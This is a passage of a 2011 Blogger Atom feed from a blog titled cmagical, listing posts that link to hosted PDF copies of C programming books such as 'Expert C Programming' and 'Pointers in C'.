style="background-color:#FFFFFF;"&gt;&lt;td align="center" style="padding:5px"&gt;&lt;a href="http://www.esnips.com/doc/4ede3503-c90c-44cf-943b-7682cc8386b6/Virtual-Machine-Design-and-Implementation/?widget=documentIcon"&gt;&lt;img border="0" alt="Virtual Machine Design and Implementation" title="click to ViewVirtual Machine Design and Implementation" src="/images/thumbs/any.gif"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td style="padding:5px" align="center"&gt;&lt;strong&gt;&lt;a style="color:#333333" href="http://www.esnips.com/doc/4ede3503-c90c-44cf-943b-7682cc8386b6/Virtual-Machine-Design-and-Implementation/?widget=documentIcon"&gt;Virtual Machine De...&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding:5px; font-size:9px; color:#FFFFFF" valign="bottom"&gt;Hosted by &lt;a href="http://www.esnips.com" style="color:#FFFFFF"&gt;eSnips&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-4781173270415770313?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/4781173270415770313/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/virtual-machine-design-and.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/4781173270415770313'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/4781173270415770313'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/virtual-machine-design-and.html' title='Virtual Machine Design and Implementation'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-7822970923286940987</id><published>2011-03-24T14:16:00.003-07:00</published><updated>2011-03-24T14:16:55.532-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Expert C Programming - Deep C Secrets</title><content type='html'>&lt;table border="0" cellpadding="0" cellspacing="0" style="background-color:#5D7CBA; border-color: #353535; color:#0; font-family:Arial, Helvetica, sans-serif; font-size:11px; padding:0px; border-width:1px; border-style:solid"&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td align="center" style="padding:5px"&gt;&lt;a href="http://www.esnips.com/doc/8843c428-f78a-41e6-9200-3f970961e103/Expert-C-Programming---Deep-C-Secrets/?widget=documentIcon"&gt;&lt;img border="0" alt="Expert C Programming - Deep C Secrets" title="click to ViewExpert C Programming - Deep C Secrets" src="/images/thumbs/thumb.pdf.gif"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td style="padding:5px" align="center"&gt;&lt;strong&gt;&lt;a style="color:#333333" href="http://www.esnips.com/doc/8843c428-f78a-41e6-9200-3f970961e103/Expert-C-Programming---Deep-C-Secrets/?widget=documentIcon"&gt;Expert C Programmi...&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding:5px; font-size:9px; color:#FFFFFF" valign="bottom"&gt;Hosted by &lt;a href="http://www.esnips.com" style="color:#FFFFFF"&gt;eSnips&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-7822970923286940987?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/7822970923286940987/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/expert-c-programming-deep-c-secrets.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/7822970923286940987'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/7822970923286940987'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/expert-c-programming-deep-c-secrets.html' title='Expert C Programming - Deep C Secrets'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-4276381610144226177</id><published>2011-03-24T14:16:00.001-07:00</published><updated>2011-03-24T14:16:14.933-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Memory as a Programming Concept in C and C++</title><content type='html'>&lt;table border="0" cellpadding="0" cellspacing="0" style="background-color:#5D7CBA; border-color: #353535; color:#0; font-family:Arial, Helvetica, sans-serif; font-size:11px; padding:0px; border-width:1px; border-style:solid"&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td align="center" style="padding:5px"&gt;&lt;a href="http://www.esnips.com/doc/90da88f5-6cd6-4745-b2b9-26bdcc392c6d/Memory-as-a-Programming-Concept-in-C-and-C++/?widget=documentIcon"&gt;&lt;img border="0" alt="Memory as a Programming Concept in C and C++" title="click to ViewMemory as a Programming Concept in C and C++" src="/images/thumbs/any.gif"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td style="padding:5px" align="center"&gt;&lt;strong&gt;&lt;a style="color:#333333" href="http://www.esnips.com/doc/90da88f5-6cd6-4745-b2b9-26bdcc392c6d/Memory-as-a-Programming-Concept-in-C-and-C++/?widget=documentIcon"&gt;Memory as a Progra...&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding:5px; font-size:9px; color:#FFFFFF" valign="bottom"&gt;Hosted by &lt;a href="http://www.esnips.com" style="color:#FFFFFF"&gt;eSnips&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-4276381610144226177?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/4276381610144226177/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/memory-as-programming-concept-in-c-and.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/4276381610144226177'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/4276381610144226177'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/memory-as-programming-concept-in-c-and.html' title='Memory as a Programming Concept in C and C++'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-3503555771604256579</id><published>2011-03-24T14:15:00.002-07:00</published><updated>2011-03-24T14:15:40.204-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Memory Management Algorithms and Implementation In C, C++</title><content type='html'>&lt;table border="0" cellpadding="0" cellspacing="0" style="background-color:#5D7CBA; border-color: #353535; color:#0; font-family:Arial, Helvetica, sans-serif; font-size:11px; padding:0px; border-width:1px; border-style:solid"&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td align="center" style="padding:5px"&gt;&lt;a href="http://www.esnips.com/doc/b51e2c16-b951-4496-b1df-98b15e324dfd/Memory-Management-Algorithms-and-Implementation-In-C,-C++/?widget=documentIcon"&gt;&lt;img border="0" alt="Memory Management Algorithms and Implementation In C, C++" title="click to ViewMemory Management Algorithms and Implementation In C, C++" src="/images/thumbs/thumb.pdf.gif"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td style="padding:5px" align="center"&gt;&lt;strong&gt;&lt;a style="color:#333333" href="http://www.esnips.com/doc/b51e2c16-b951-4496-b1df-98b15e324dfd/Memory-Management-Algorithms-and-Implementation-In-C,-C++/?widget=documentIcon"&gt;Memory Management ...&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding:5px; font-size:9px; color:#FFFFFF" valign="bottom"&gt;Hosted by &lt;a href="http://www.esnips.com" style="color:#FFFFFF"&gt;eSnips&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-3503555771604256579?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/3503555771604256579/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/memory-management-algorithms-and.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/3503555771604256579'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/3503555771604256579'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/memory-management-algorithms-and.html' title='Memory Management Algorithms and Implementation In C, C++'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-5144362274153372305</id><published>2011-03-24T14:15:00.000-07:00</published><updated>2011-03-24T14:15:07.853-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>The development of C Language</title><content type='html'>&lt;table border="0" cellpadding="0" cellspacing="0" style="background-color:#5D7CBA; border-color: #353535; color:#0; font-family:Arial, Helvetica, sans-serif; font-size:11px; padding:0px; border-width:1px; border-style:solid"&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td align="center" style="padding:5px"&gt;&lt;a href="http://www.esnips.com/doc/fa1657d8-eced-4171-9b52-044f114fd6db/The-development-of-C-Langugae/?widget=documentIcon"&gt;&lt;img border="0" alt="The development of C Langugae" title="click to ViewThe development of C Langugae" src="/images/thumbs/thumb.pdf.gif"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td style="padding:5px" align="center"&gt;&lt;strong&gt;&lt;a style="color:#333333" href="http://www.esnips.com/doc/fa1657d8-eced-4171-9b52-044f114fd6db/The-development-of-C-Langugae/?widget=documentIcon"&gt;The development of...&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding:5px; font-size:9px; color:#FFFFFF" valign="bottom"&gt;Hosted by &lt;a href="http://www.esnips.com" style="color:#FFFFFF"&gt;eSnips&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-5144362274153372305?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/5144362274153372305/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/development-of-c-language.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/5144362274153372305'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/5144362274153372305'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/development-of-c-language.html' title='The development of C Language'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-3852990815596746246</id><published>2011-03-24T14:14:00.001-07:00</published><updated>2011-03-24T14:14:23.535-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Programming in C - UNIX System Calls and Subroutines using C 1999</title><content type='html'>&lt;table border="0" cellpadding="0" cellspacing="0" style="background-color:#5D7CBA; border-color: #353535; color:#0; font-family:Arial, Helvetica, sans-serif; font-size:11px; padding:0px; border-width:1px; border-style:solid"&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td align="center" style="padding:5px"&gt;&lt;a href="http://www.esnips.com/doc/781a3b83-25f4-4ca4-b75f-8446ab940ba6/Programming-in-C---UNIX-System-Calls-and-Subroutines-using-C-1999/?widget=documentIcon"&gt;&lt;img border="0" alt="Programming in C - UNIX System Calls and Subroutines using C 1999" title="click to ViewProgramming in C - UNIX System Calls and Subroutines using C 1999" src="/images/thumbs/any.gif"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td style="padding:5px" align="center"&gt;&lt;strong&gt;&lt;a style="color:#333333" href="http://www.esnips.com/doc/781a3b83-25f4-4ca4-b75f-8446ab940ba6/Programming-in-C---UNIX-System-Calls-and-Subroutines-using-C-1999/?widget=documentIcon"&gt;Programming in C -...&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding:5px; font-size:9px; color:#FFFFFF" valign="bottom"&gt;Hosted by &lt;a href="http://www.esnips.com" style="color:#FFFFFF"&gt;eSnips&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-3852990815596746246?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/3852990815596746246/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/programming-in-c-unix-system-calls-and.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/3852990815596746246'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/3852990815596746246'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/programming-in-c-unix-system-calls-and.html' title='Programming in C - UNIX System Calls and Subroutines using C 1999'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-7313132642569971437</id><published>2011-03-24T14:13:00.001-07:00</published><updated>2011-03-24T14:13:14.286-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>C Language Calling Sequence</title><content type='html'>&lt;table border="0" cellpadding="0" cellspacing="0" style="background-color:#5D7CBA; border-color: #353535; color:#0; font-family:Arial, Helvetica, sans-serif; font-size:11px; padding:0px; border-width:1px; border-style:solid"&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td align="center" style="padding:5px"&gt;&lt;a href="http://www.esnips.com/doc/6a06de34-dccd-41cf-8d3b-5a7a6cd73a53/C-Language-Calling-Sequence/?widget=documentIcon"&gt;&lt;img border="0" alt="C Language Calling Sequence" title="click to ViewC Language Calling Sequence" src="/images/thumbs/thumb.pdf.gif"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td style="padding:5px" align="center"&gt;&lt;strong&gt;&lt;a style="color:#333333" href="http://www.esnips.com/doc/6a06de34-dccd-41cf-8d3b-5a7a6cd73a53/C-Language-Calling-Sequence/?widget=documentIcon"&gt;C Language Calling...&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding:5px; font-size:9px; color:#FFFFFF" valign="bottom"&gt;Hosted by &lt;a href="http://www.esnips.com" style="color:#FFFFFF"&gt;eSnips&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-7313132642569971437?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/7313132642569971437/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/c-language-calling-sequence.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/7313132642569971437'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/7313132642569971437'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/c-language-calling-sequence.html' title='C Language Calling Sequence'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-5234027488773679024</id><published>2011-03-24T14:12:00.002-07:00</published><updated>2011-03-24T14:12:34.717-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Keil_Basics</title><content type='html'>&lt;table border="0" cellpadding="0" cellspacing="0" style="background-color:#5D7CBA; border-color: #353535; color:#0; font-family:Arial, Helvetica, sans-serif; font-size:11px; padding:0px; border-width:1px; border-style:solid"&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td align="center" style="padding:5px"&gt;&lt;a href="http://www.esnips.com/doc/8f770d1b-107c-4899-818d-dd80a97e589d/Keil_Basics/?widget=documentIcon"&gt;&lt;img border="0" alt="Keil_Basics" title="click to ViewKeil_Basics" src="/images/thumbs/thumb.pdf.gif"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td style="padding:5px" align="center"&gt;&lt;strong&gt;&lt;a style="color:#333333" href="http://www.esnips.com/doc/8f770d1b-107c-4899-818d-dd80a97e589d/Keil_Basics/?widget=documentIcon"&gt;Keil_Basics.pdf&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding:5px; font-size:9px; color:#FFFFFF" valign="bottom"&gt;Hosted by &lt;a href="http://www.esnips.com" style="color:#FFFFFF"&gt;eSnips&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-5234027488773679024?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/5234027488773679024/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/keilbasics.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/5234027488773679024'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/5234027488773679024'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/keilbasics.html' title='Keil_Basics'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-7137814120012569102</id><published>2011-03-24T14:12:00.000-07:00</published><updated>2011-03-24T14:12:00.964-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Giao trinh C</title><content type='html'>&lt;table border="0" cellpadding="0" cellspacing="0" style="background-color:#5D7CBA; border-color: #353535; color:#0; font-family:Arial, Helvetica, sans-serif; font-size:11px; padding:0px; border-width:1px; border-style:solid"&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td align="center" style="padding:5px"&gt;&lt;a href="http://www.esnips.com/doc/3258a2a6-97b9-41f2-b136-57398775ba40/Giao-trinh-C/?widget=documentIcon"&gt;&lt;img border="0" alt="Giao trinh C" title="click to ViewGiao trinh C" src="/images/thumbs/thumb.pdf.gif"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td style="padding:5px" align="center"&gt;&lt;strong&gt;&lt;a style="color:#333333" href="http://www.esnips.com/doc/3258a2a6-97b9-41f2-b136-57398775ba40/Giao-trinh-C/?widget=documentIcon"&gt;Giao trinh C.pdf&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding:5px; font-size:9px; color:#FFFFFF" valign="bottom"&gt;Hosted by &lt;a href="http://www.esnips.com" style="color:#FFFFFF"&gt;eSnips&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-7137814120012569102?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/7137814120012569102/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/giao-trinh-c.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/7137814120012569102'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/7137814120012569102'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/giao-trinh-c.html' title='Giao trinh C'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-2767348740176628023</id><published>2011-03-24T14:11:00.001-07:00</published><updated>2011-03-24T14:11:24.073-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Practical C Programming 3rd Edition</title><content type='html'>&lt;table border="0" cellpadding="0" cellspacing="0" style="background-color:#5D7CBA; border-color: #353535; color:#0; font-family:Arial, Helvetica, sans-serif; font-size:11px; padding:0px; border-width:1px; border-style:solid"&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td align="center" style="padding:5px"&gt;&lt;a href="http://www.esnips.com/doc/7a751c77-da1b-4114-964a-95bbb29eef5a/Practical-C-Programming-3rd-Edition/?widget=documentIcon"&gt;&lt;img border="0" alt="Practical C Programming 3rd Edition" title="click to ViewPractical C Programming 3rd Edition" src="/images/thumbs/thumb.pdf.gif"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td style="padding:5px" align="center"&gt;&lt;strong&gt;&lt;a style="color:#333333" href="http://www.esnips.com/doc/7a751c77-da1b-4114-964a-95bbb29eef5a/Practical-C-Programming-3rd-Edition/?widget=documentIcon"&gt;Practical C Progra...&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding:5px; font-size:9px; color:#FFFFFF" valign="bottom"&gt;Hosted by &lt;a href="http://www.esnips.com" style="color:#FFFFFF"&gt;eSnips&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-2767348740176628023?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/2767348740176628023/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/practical-c-programming-3rd-edition_24.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/2767348740176628023'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/2767348740176628023'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/practical-c-programming-3rd-edition_24.html' title='Practical C Programming 3rd Edition'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-8297876518544073499</id><published>2011-03-24T14:06:00.001-07:00</published><updated>2011-03-24T14:06:27.731-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Pointers in C</title><content type='html'>&lt;table border="0" cellpadding="0" cellspacing="0" style="background-color:#5D7CBA; border-color: #353535; color:#0; font-family:Arial, Helvetica, sans-serif; font-size:11px; padding:0px; border-width:1px; border-style:solid"&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td align="center" style="padding:5px"&gt;&lt;a href="http://www.esnips.com/doc/f99e8c30-436c-49ca-91ed-37ebb2189b01/Pointers-in-C/?widget=documentIcon"&gt;&lt;img border="0" alt="Pointers in C" title="click to ViewPointers in C" src="/images/thumbs/thumb.pdf.gif"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td style="padding:5px" align="center"&gt;&lt;strong&gt;&lt;a style="color:#333333" href="http://www.esnips.com/doc/f99e8c30-436c-49ca-91ed-37ebb2189b01/Pointers-in-C/?widget=documentIcon"&gt;Pointers in C.pdf&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding:5px; font-size:9px; color:#FFFFFF" valign="bottom"&gt;Hosted by &lt;a href="http://www.esnips.com" style="color:#FFFFFF"&gt;eSnips&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-8297876518544073499?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/8297876518544073499/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/pointers-in-c.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/8297876518544073499'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/8297876518544073499'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/pointers-in-c.html' title='Pointers in C'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-1804986195226353570</id><published>2011-03-24T14:04:00.001-07:00</published><updated>2011-03-24T14:04:36.272-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>C-Primer-Plus</title><content type='html'>&lt;table border="0" cellpadding="0" cellspacing="0" style="background-color:#5D7CBA; border-color: #353535; color:#0; font-family:Arial, Helvetica, sans-serif; font-size:11px; padding:0px; border-width:1px; border-style:solid"&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td align="center" style="padding:5px"&gt;&lt;a href="http://www.esnips.com/doc/6e4472f2-82f6-43c2-8955-936f070ad08f/C-Primer-Plus/?widget=documentIcon"&gt;&lt;img border="0" alt="C-Primer-Plus" title="click to ViewC-Primer-Plus" src="/images/thumbs/thumb.zip.gif"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr 